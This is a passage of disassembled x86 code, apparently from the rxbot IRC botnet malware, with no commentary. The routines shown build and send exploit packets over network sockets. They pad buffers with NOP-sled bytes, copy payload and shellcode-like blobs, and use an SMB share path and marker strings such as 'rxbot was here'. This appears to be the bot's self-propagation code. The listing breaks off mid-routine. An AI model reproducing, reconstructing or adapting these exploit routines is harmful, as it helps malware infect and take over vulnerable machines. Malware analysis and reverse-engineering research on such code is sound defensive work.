		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40B7C9
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B7C9
		lea	eax, [ebp+var_FDB]
		push	eax
		call	sub_41151C	; atoi
		cmp	[ebp+var_FF8], 5
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jnz	short loc_40B7B6
		cmp	[ebp+var_FF4], 0
		jnz	short loc_40B782
		xor	ecx, ecx
		cmp	eax, 4
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		inc	ecx
		inc	ecx

loc_40B77E:				; CODE XREF: sub_40B6BE+DCj
					; sub_40B6BE+F6j ...
		mov	eax, ecx
		jmp	short loc_40B7CB
; ---------------------------------------------------------------------------

loc_40B782:				; CODE XREF: sub_40B6BE+B0j
		cmp	[ebp+var_FF4], 1
		jnz	short loc_40B79C
		xor	ecx, ecx
		cmp	eax, 2
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 3
		jmp	short loc_40B77E
; ---------------------------------------------------------------------------

loc_40B79C:				; CODE XREF: sub_40B6BE+CBj
		cmp	[ebp+var_FF4], 2
		jnz	short loc_40B7C9
		xor	ecx, ecx
		cmp	eax, 3
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFCh
		add	ecx, 4
		jmp	short loc_40B77E
; ---------------------------------------------------------------------------

loc_40B7B6:				; CODE XREF: sub_40B6BE+A7j
		cmp	[ebp+var_FF8], 4
		jnz	short loc_40B7C9
		xor	ecx, ecx
		cmp	eax, 6
		setle	cl
		jmp	short loc_40B77E
; ---------------------------------------------------------------------------

loc_40B7C9:				; CODE XREF: sub_40B6BE+40j
					; sub_40B6BE+49j ...
		xor	eax, eax

loc_40B7CB:				; CODE XREF: sub_40B6BE+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B6BE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1204h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	3
		push	offset asc_413214 ; "\r\n"
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp-1204h]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		mov	edi, eax
		add	esp, 20h
		test	edi, edi
		jz	loc_40B998
		and	dword ptr [ebp+8], 0
		lea	eax, [ebp+8]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_40B6BE
		pop	ecx
		mov	[ebp-4], eax
		test	eax, eax
		pop	ecx
		jz	loc_40B998
		mov	ebx, 1000h
		lea	eax, [ebp-1004h]
		push	ebx
		push	0
		push	eax
		call	sub_4114E8	; memset
		push	2
		lea	eax, [ebp-1004h]
		push	offset dword_415328
		push	eax
		call	sub_4114D0	; memcpy
		push	1F4h
		lea	eax, [ebp-0F37h]
		push	90h
		push	eax
		call	sub_4114E8	; memset
		lea	eax, [ebp-1204h]
		push	edi
		push	eax
		lea	eax, [ebp-0DFCh]
		push	eax
		call	sub_4114D0	; memcpy
		push	5
		lea	eax, [ebp-0BF2h]
		push	offset aRxbot	; "rxbot"
		push	eax
		call	sub_4114D0	; memcpy
		push	0Eh
		lea	eax, [ebp-0A2Ch]
		push	offset aRxbotWasHere ; "rxbot was here"
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp-928h]
		push	11h
		push	offset a121204131313 ; "12/12/04 13:13:13"
		push	eax
		call	sub_4114D0	; memcpy
		push	0Eh
		lea	eax, [ebp-518h]
		push	offset aRxbot_paradise ; "rxbot_paradise"
		push	eax
		call	sub_4114D0	; memcpy
		push	10h
		lea	eax, [ebp-414h]
		push	offset a131_131_131_13 ; "131.131.131.131"
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, offset loc_4152D0
		push	edi
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp-108h]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		push	2
		lea	eax, [ebp-0E02h]
		push	offset loc_4152CC
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 40h
		cmp	dword ptr [ebp-4], 1
		jnz	short loc_40B930
		mov	eax, [ebp+8]
		mov	eax, dword_415280[eax*4]
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------

loc_40B930:				; CODE XREF: .packed:0040B922j
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_40B942
		mov	eax, [ebp+8]
		mov	eax, dword_41529C[eax*4]
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------

loc_40B942:				; CODE XREF: .packed:0040B934j
		cmp	dword ptr [ebp-4], 3
		mov	eax, [ebp+8]
		jnz	short loc_40B954
		mov	eax, dword_4152B0[eax*4]
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------

loc_40B954:				; CODE XREF: .packed:0040B949j
		mov	eax, dword_4152BC[eax*4]

loc_40B95B:				; CODE XREF: .packed:0040B92Ej
					; .packed:0040B940j ...
		mov	[ebp-0E00h], eax
		lea	eax, [ebp-1004h]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40B998
		push	0
		lea	eax, [ebp-1004h]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv

loc_40B998:				; CODE XREF: .packed:0040B819j
					; .packed:0040B836j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B99D	proc near		; CODE XREF: sub_40BAAF+5Bp

var_1000	= byte ptr -1000h
var_FF8		= byte ptr -0FF8h
var_FF4		= byte ptr -0FF4h
var_FDB		= byte ptr -0FDBh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	ebx
		push	esi
		mov	ebx, 0EA60h
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_403E1F
		mov	esi, dword_412258
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	edi, 1000h
		jz	short loc_40B9EC
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40BAA8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40BAA8

loc_40B9EC:				; CODE XREF: sub_40B99D+2Dj
		push	28h
		push	offset dword_41532C
		push	[ebp+arg_0]
		call	sub_403D9D
		push	ebx
		push	[ebp+arg_0]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40BAA8
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40BAA8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BAA8
		lea	eax, [ebp+var_FDB]
		push	eax
		call	sub_41151C	; atoi
		cmp	[ebp+var_FF8], 5
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jnz	short loc_40BA95
		cmp	[ebp+var_FF4], 0
		jnz	short loc_40BA61
		xor	ecx, ecx
		cmp	eax, 4
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		inc	ecx
		inc	ecx

loc_40BA5D:				; CODE XREF: sub_40B99D+DCj
					; sub_40B99D+F6j ...
		mov	eax, ecx
		jmp	short loc_40BAAA
; ---------------------------------------------------------------------------

loc_40BA61:				; CODE XREF: sub_40B99D+B0j
		cmp	[ebp+var_FF4], 1
		jnz	short loc_40BA7B
		xor	ecx, ecx
		cmp	eax, 2
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 3
		jmp	short loc_40BA5D
; ---------------------------------------------------------------------------

loc_40BA7B:				; CODE XREF: sub_40B99D+CBj
		cmp	[ebp+var_FF4], 2
		jnz	short loc_40BAA8
		xor	ecx, ecx
		cmp	eax, 3
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFCh
		add	ecx, 4
		jmp	short loc_40BA5D
; ---------------------------------------------------------------------------

loc_40BA95:				; CODE XREF: sub_40B99D+A7j
		cmp	[ebp+var_FF8], 4
		jnz	short loc_40BAA8
		xor	ecx, ecx
		cmp	eax, 6
		setle	cl
		jmp	short loc_40BA5D
; ---------------------------------------------------------------------------

loc_40BAA8:				; CODE XREF: sub_40B99D+40j
					; sub_40B99D+49j ...
		xor	eax, eax

loc_40BAAA:				; CODE XREF: sub_40B99D+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B99D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAAF	proc near		; DATA XREF: .packed:00418044o

var_1204	= byte ptr -1204h
var_1137	= byte ptr -1137h
var_112F	= byte ptr -112Fh
var_1002	= byte ptr -1002h
var_1000	= dword	ptr -1000h
var_FFC		= byte ptr -0FFCh
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1204h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	3
		push	offset asc_413214 ; "\r\n"
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_204]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	loc_40BC0B
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_40B99D
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jz	loc_40BC0B
		mov	edi, 1000h
		lea	eax, [ebp+var_1204]
		push	edi
		push	0
		push	eax
		call	sub_4114E8	; memset
		push	2
		lea	eax, [ebp+var_1204]
		push	offset dword_415328
		push	eax
		call	sub_4114D0	; memcpy
		push	8
		lea	eax, [ebp+var_1137]
		push	offset dword_41537C
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_112F]
		push	eax
		call	sub_4114D0	; memcpy
		push	20h
		lea	eax, [ebp+var_FFC]
		push	offset dword_415358
		push	eax
		call	sub_4114D0	; memcpy
		push	2
		lea	eax, [ebp+var_1002]
		push	offset loc_4152CC
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		cmp	ebx, 1
		jnz	short loc_40BBA5
		mov	eax, [ebp+arg_0]
		mov	eax, dword_415388[eax*4]
		jmp	short loc_40BBCE
; ---------------------------------------------------------------------------

loc_40BBA5:				; CODE XREF: sub_40BAAF+E8j
		cmp	ebx, 2
		jnz	short loc_40BBB6
		mov	eax, [ebp+arg_0]
		mov	eax, dword_4153A4[eax*4]
		jmp	short loc_40BBCE
; ---------------------------------------------------------------------------

loc_40BBB6:				; CODE XREF: sub_40BAAF+F9j
		mov	eax, [ebp+arg_0]
		cmp	ebx, 3
		jnz	short loc_40BBC7
		mov	eax, dword_4153B8[eax*4]
		jmp	short loc_40BBCE
; ---------------------------------------------------------------------------

loc_40BBC7:				; CODE XREF: sub_40BAAF+10Dj
		mov	eax, dword_4153C4[eax*4]

loc_40BBCE:				; CODE XREF: sub_40BAAF+F4j
					; sub_40BAAF+105j ...
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_1204]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BC0B
		push	0
		lea	eax, [ebp+var_1204]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv

loc_40BC0B:				; CODE XREF: sub_40BAAF+4Aj
					; sub_40BAAF+66j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BAAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC10	proc near		; DATA XREF: .packed:off_417DC6o

var_1800	= byte ptr -1800h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1800h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	1
		lea	eax, [esi+42h]
		push	eax
		call	sub_40D42D
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		push	esi
		call	sub_40BCBD
		add	esp, 14h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jz	short loc_40BCB8
		push	48h
		push	offset dword_4153D4
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BCB8
		mov	edi, dword_412258
		mov	ebx, 1000h
		push	0
		lea	eax, [ebp+var_1800]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	edi	; recv
		push	[ebp+arg_0]
		lea	eax, [ebp+var_800]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BCB8
		push	0
		lea	eax, [ebp+var_1800]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	edi	; recv

loc_40BCB8:				; CODE XREF: sub_40BC10+34j
					; sub_40BC10+57j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BC10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCBD	proc near		; CODE XREF: sub_40BC10+27p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		push	7
		push	offset dword_415854
		push	dword ptr [eax+2Ah]
		lea	ecx, [eax+146h]
		push	ecx
		lea	ecx, [eax+0C6h]
		push	ecx
		push	dword ptr [eax+0C2h]
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40BD04
		leave
		retn
; ---------------------------------------------------------------------------

loc_40BD04:				; CODE XREF: sub_40BCBD+43j
		push	ebx
		push	esi
		push	edi
		add	eax, 0D7h
		push	10h
		mov	ebx, 0B3h
		cdq
		pop	ecx
		idiv	ecx
		push	0Ch
		pop	eax
		sub	eax, edx
		jns	short loc_40BD21
		add	ebx, 10h

loc_40BD21:				; CODE XREF: sub_40BCBD+5Fj
		mov	esi, [ebp+arg_4]
		push	360h
		push	offset dword_415454
		push	esi
		sub	ebx, edx
		call	sub_4114D0	; memcpy
		lea	eax, [esi+360h]
		push	10h
		push	offset dword_4157B8
		push	eax
		call	sub_4114D0	; memcpy
		push	30h
		lea	eax, [esi+370h]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax
		call	sub_4114D0	; memcpy
		push	0
		lea	eax, [esi+3A0h]
		push	ebx
		push	eax
		call	sub_40D5A8
		push	[ebp+arg_0]
		lea	edi, [ebx+3A0h]
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_4114D0	; memcpy
		add	edi, [ebp+arg_0]
		push	3Ch
		push	offset aC1234561111111 ; "\\C$\\123456111111111111111.doc"
		lea	eax, [edi+esi]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		add	edi, 3Ch
		push	30h
		lea	eax, [edi+esi]
		push	offset dword_41580C
		push	eax
		call	sub_4114D0	; memcpy
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		add	edi, 30h
		dec	eax
		lea	ecx, [esi+394h]
		jz	short loc_40BDF7
		dec	eax
		jz	short loc_40BDEE
		dec	eax
		jz	short loc_40BDE5
		call	sub_40B4C3
		test	eax, eax
		push	4
		jz	short loc_40BDD7
		push	offset dword_41584C
		jmp	short loc_40BDDC
; ---------------------------------------------------------------------------

loc_40BDD7:				; CODE XREF: sub_40BCBD+111j
		push	offset dword_415850

loc_40BDDC:				; CODE XREF: sub_40BCBD+118j
		lea	eax, [esi+394h]
		push	eax
		jmp	short loc_40BDFF
; ---------------------------------------------------------------------------

loc_40BDE5:				; CODE XREF: sub_40BCBD+106j
		push	4
		push	offset dword_415848
		jmp	short loc_40BDFE
; ---------------------------------------------------------------------------

loc_40BDEE:				; CODE XREF: sub_40BCBD+103j
		push	4
		push	offset dword_415844
		jmp	short loc_40BDFE
; ---------------------------------------------------------------------------

loc_40BDF7:				; CODE XREF: sub_40BCBD+100j
		push	4
		push	offset dword_415840

loc_40BDFE:				; CODE XREF: sub_40BCBD+12Fj
					; sub_40BCBD+138j
		push	ecx

loc_40BDFF:				; CODE XREF: sub_40BCBD+126j
		call	sub_4114D0	; memcpy
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		lea	eax, [ebx+eax+30h]
		lea	ecx, [eax-0Ch]
		add	[esi+8], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+10h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+80h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+84h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0B4h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0B8h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0D0h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+18Ch], ecx
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[esi+360h], eax
		add	[esi+368h], eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BCBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE68	proc near		; DATA XREF: .packed:00417E00o

var_1B68	= byte ptr -1B68h
var_B68		= byte ptr -0B68h
var_968		= byte ptr -968h
var_960		= dword	ptr -960h
var_958		= dword	ptr -958h
var_950		= byte ptr -950h
var_90C		= byte ptr -90Ch
var_8EC		= byte ptr -8ECh
var_8E8		= byte ptr -8E8h
var_8E4		= byte ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8DC		= byte ptr -8DCh
var_884		= byte ptr -884h
var_87E		= byte ptr -87Eh
var_876		= byte ptr -876h
var_872		= byte ptr -872h
var_86E		= byte ptr -86Eh
var_868		= byte ptr -868h
var_168		= byte ptr -168h
var_7C		= byte ptr -7Ch
var_72		= byte ptr -72h
var_6E		= byte ptr -6Eh
var_36		= byte ptr -36h
var_32		= byte ptr -32h
var_2E		= byte ptr -2Eh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B68h
		call	sub_411540
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	48h
		push	offset dword_41585C
		push	dword ptr [edi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [edi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C131
		xor	esi, esi
		lea	eax, [ebp+var_1B68]
		push	esi
		push	1000h
		push	eax
		push	dword ptr [edi+3Eh]
		call	dword_412258	; recv
		push	7
		push	offset dword_415854
		push	dword ptr [edi+2Ah]
		lea	eax, [edi+146h]
		push	eax
		lea	eax, [edi+0C6h]
		push	eax
		lea	eax, [ebp+var_B68]
		push	dword ptr [edi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jz	loc_40C131
		push	ebx
		mov	ebx, 168h

loc_40BEFC:				; CODE XREF: sub_40BE68+A9j
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[ebp+esi+var_168], al
		inc	esi
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jl	short loc_40BEFC
		push	0Ah
		lea	eax, [ebp+var_7C]
		push	offset loc_41594C
		push	eax
		call	sub_4114D0	; memcpy
		push	2
		lea	eax, [ebp+var_72]
		push	offset loc_41599C
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_6E]
		push	offset loc_415994
		push	eax
		call	sub_4114D0	; memcpy
		push	2
		lea	eax, [ebp+var_36]
		push	offset loc_415998
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_32]
		push	(offset	loc_41598F+1)
		push	eax
		call	sub_4114D0	; memcpy
		push	0Bh
		lea	eax, [ebp+var_2E]
		push	offset loc_415940
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_968]
		mov	esi, 3E6h
		sub	esi, [ebp+arg_0]
		push	18h
		push	offset dword_4158A8
		push	eax
		call	sub_4114D0	; memcpy
		push	44h
		lea	eax, [ebp+var_950]
		push	offset dword_4158C4
		push	eax
		call	sub_4114D0	; memcpy
		push	20h
		lea	eax, [ebp+var_90C]
		push	0FFFFFF90h
		push	eax
		call	sub_4114E8	; memset
		push	4
		lea	eax, [ebp+var_8EC]
		push	offset loc_415958
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_8E8]
		push	offset loc_41598C
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_8E4]
		push	offset dword_415984
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_8E0]
		push	4
		push	offset loc_415988
		push	eax
		call	sub_4114D0	; memcpy
		push	58h
		lea	eax, [ebp+var_8DC]
		push	0FFFFFF90h
		push	eax
		call	sub_4114E8	; memset
		push	6
		lea	eax, [ebp+var_884]
		push	offset loc_415960
		push	eax
		call	sub_4114D0	; memcpy
		push	8
		push	0FFFFFF90h
		lea	eax, [ebp+var_87E]
		push	eax
		call	sub_4114E8	; memset
		push	4
		lea	eax, [ebp+var_876]
		push	offset loc_415968
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_872]
		push	0FFFFFF90h
		push	eax
		call	sub_4114E8	; memset
		add	esp, 48h
		lea	eax, [ebp+var_86E]
		push	6
		push	offset loc_415970
		push	eax
		call	sub_4114D0	; memcpy
		push	esi
		lea	eax, [ebp+var_868]
		push	0FFFFFF90h
		push	eax
		call	sub_4114E8	; memset
		push	[ebp+arg_0]
		add	esi, 100h
		lea	eax, [ebp+var_B68]
		push	eax
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, [ebp+arg_0]
		lea	eax, [ebp+var_168]
		push	ebx
		push	eax
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, ebx
		push	0Ah
		push	offset off_415978
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, 0Ah
		push	32h
		push	offset dword_41590C
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, 32h
		add	esp, 48h
		mov	[ebp+var_960], esi
		lea	eax, [esi-18h]
		push	esi
		mov	[ebp+var_958], eax
		lea	eax, [ebp+var_968]
		push	eax
		push	dword ptr [edi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [edi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		pop	ebx
		jz	short loc_40C131
		push	0
		lea	eax, [ebp+var_1B68]
		push	1000h
		push	eax
		push	dword ptr [edi+3Eh]
		call	dword_412258	; recv

loc_40C131:				; CODE XREF: sub_40BE68+33j
					; sub_40BE68+88j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40BE68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C135	proc near		; CODE XREF: sub_40C501+F4p
					; sub_40C501+102p ...

var_A4F0	= byte ptr -0A4F0h
var_A488	= byte ptr -0A488h
var_8418	= byte ptr -8418h
var_7418	= byte ptr -7418h
var_73A8	= byte ptr -73A8h
var_68E4	= byte ptr -68E4h
var_5340	= byte ptr -5340h
var_42AC	= byte ptr -42ACh
var_37E4	= byte ptr -37E4h
var_37E1	= byte ptr -37E1h
var_37B7	= byte ptr -37B7h
var_37B5	= byte ptr -37B5h
var_37B4	= byte ptr -37B4h
var_27E4	= byte ptr -27E4h
var_2768	= byte ptr -2768h
var_1F98	= byte ptr -1F98h
var_1AED	= byte ptr -1AEDh
var_1800	= byte ptr -1800h
var_101E	= byte ptr -101Eh
var_101C	= byte ptr -101Ch
var_100C	= byte ptr -100Ch
var_CE8		= byte ptr -0CE8h
var_CE4		= byte ptr -0CE4h
var_CD8		= byte ptr -0CD8h
var_A54		= byte ptr -0A54h
var_A50		= byte ptr -0A50h
var_9B0		= byte ptr -9B0h
var_2A4		= byte ptr -2A4h
var_294		= byte ptr -294h
var_280		= byte ptr -280h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 0A4F0h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	7
		push	offset dword_415854
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_280]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_280]
		add	esp, 20h
		test	eax, eax
		jz	loc_40C4F9
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [esi+42h]
		push	eax
		call	sub_40311D
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4117A8	; wcslen
		mov	ebx, eax
		push	60h
		lea	eax, [ebp+var_37E4]
		push	offset dword_415BB8
		push	eax
		shl	ebx, 1
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_80]
		push	ebx
		push	eax
		lea	eax, [ebp+var_37B4]
		push	eax
		call	sub_4114D0	; memcpy
		push	9
		lea	eax, [ebp+ebx+var_37B5]
		push	(offset	aC_0+3)
		push	eax
		call	sub_4114D0	; memcpy
		mov	al, bl
		add	al, 34h
		mov	[ebp+var_37E1],	al
		mov	al, bl
		add	al, 9
		add	ebx, 38h
		mov	[ebp+var_37B7],	al
		lea	eax, [ebp+var_37E4]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		mov	edi, 0EA60h
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 44h
		test	eax, eax
		jz	loc_40C3FE
		mov	ebx, 1000h
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv
		push	68h
		push	offset dword_415C1C
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C3FE
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv
		push	0A0h
		push	offset dword_415C88
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C3FE
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jz	loc_40C438
		push	2
		lea	eax, [ebp+var_101E]
		push	offset loc_4152CC
		push	eax
		call	sub_4114D0	; memcpy
		lea	ebx, ds:415FB0h[ebx*4]
		push	4
		lea	eax, [ebp+var_101C]
		push	ebx
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_100C]
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_CE8]
		push	offset loc_415FBC
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_CE4]
		push	ebx
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_CD8]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		and	[ebp+var_A54], 0
		lea	eax, [ebp+var_1800]
		push	0DADh
		push	eax
		lea	eax, [ebp+var_5340]
		push	eax
		call	sub_40588E
		mov	ebx, 1C52h
		lea	eax, [ebp+var_A4F0]
		push	ebx
		push	31h
		push	eax
		call	sub_4114E8	; memset
		push	ebx
		lea	eax, [ebp+var_7418]
		push	31h
		push	eax
		call	sub_4114E8	; memset
		push	68h
		lea	eax, [ebp+var_A4F0]
		push	offset dword_415E40
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_5340]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_A488]
		push	eax
		call	sub_4114D0	; memcpy
		push	70h
		lea	eax, [ebp+var_7418]
		push	offset dword_415EAC
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_42AC]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_73A8]
		push	eax
		call	sub_4114D0	; memcpy
		push	84h
		lea	eax, [ebp+var_68E4]
		push	offset dword_415F20
